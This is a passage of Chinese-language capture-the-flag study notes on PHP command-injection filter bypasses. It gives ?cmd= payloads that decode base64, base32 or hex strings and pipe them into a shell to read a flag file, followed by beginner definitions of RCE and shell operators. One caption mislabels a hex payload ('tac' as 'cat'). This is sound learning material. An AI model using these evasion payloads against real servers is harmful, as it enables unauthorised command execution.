?cmd=passthru('`echo "Y2F0IGZsYWcudHh0Cg=="|base64 -d`');
9.2. base32编码绕过
?cmd=system('echo "MNQXIIDGNRQWOLTQNBYA===="|base32 -d|/bin/bash');
即执行cat flag.php
10. HEX编码(十六进制编码/ASCII码)绕过
?cmd=passthru('echo "74616320666c61672e706870"|xxd -r -p|bash');
即执行cat flag.php
补充(初学时记录)
【GET方法是HTTP协议中最常用的方法,通常用于请求服务器发送某个资源】
【POST请求是一种HTTP方法,用于向服务器提交数据或发送请求】
【命令前的 $代表普通权限, #代表root权限】
【cmd自定义变量名,可存储字符串、命令等】
【__FILE__ 是一个魔术常量,表示当前脚本的完整路径】
【$cmd = $_GET["cmd"]; 如果URL为 http://example.com/script.php?cmd=ls,则 $cmd 的值将是 ls】
【反引号 用于编程与Shell中的命令替换或字符串格式化,输入需英文输入法
反引号(`)是位于键盘左上角、ESC键下方、数字1键左侧的符号】
【任意代码执行(Arbitrary Code Execution,ACE)」 是指攻击者在目标计算机或目标进程中运行攻击者选择的任何命令或代码的能力,这是一个广泛的概念,它涵盖了任何类型的代码运行过程,不仅包括系统层面的脚本或程序,也包括应用程序内部的函数或方法调用。】
【在此基础上我们将通过网络触发任意代码执行的能力通常称为 远程代码执行 远程代码执行(RCE,Remote Code Execution,RCE)】。
【命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的`shell_exec()`函数或Python中的`os.system()`函数。】
【代码执行(Code Execution)」 同我们最开始说到的任意代码执行,在语言中可以体现为一些函数或者方法调用,如PHP中的`eval()`函数或Python中的`exec()`函数。】
【数据网络技术:DNT是Data Network Technology的英文缩写,中文解释为数据网络技术】
【a=whoami 是将当前用户名赋值给变量 a 的操作】
【SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。】
【&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test】
【||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo "Directory not found"】
【&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo "This will run immediately."】
【;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo "Hello" ; echo "World"】
【在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。
*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。】
【# -*- coding: utf-8 -*- //编码格式说明
# @Author: 探姬 //作者
# @Date: 2024-08-11 14:34 //日期时间
# @Repo: github.com/ProbiusOfficial/RCE-labs //代码仓库地址
# @email: admin@hello-ctf.com //联系邮箱
# @link: hello-ctf.com //相关网站】
【/?cmd=...是URL参数形式,常见于Web应用命令执行漏洞利用场景;
cat /fl*是核心命令,cat用于读取文件,/fl*通过通配符*匹配根目录下所有以fl开头的文件(如/flag)】
1292



被折叠的 条评论
为什么被折叠?



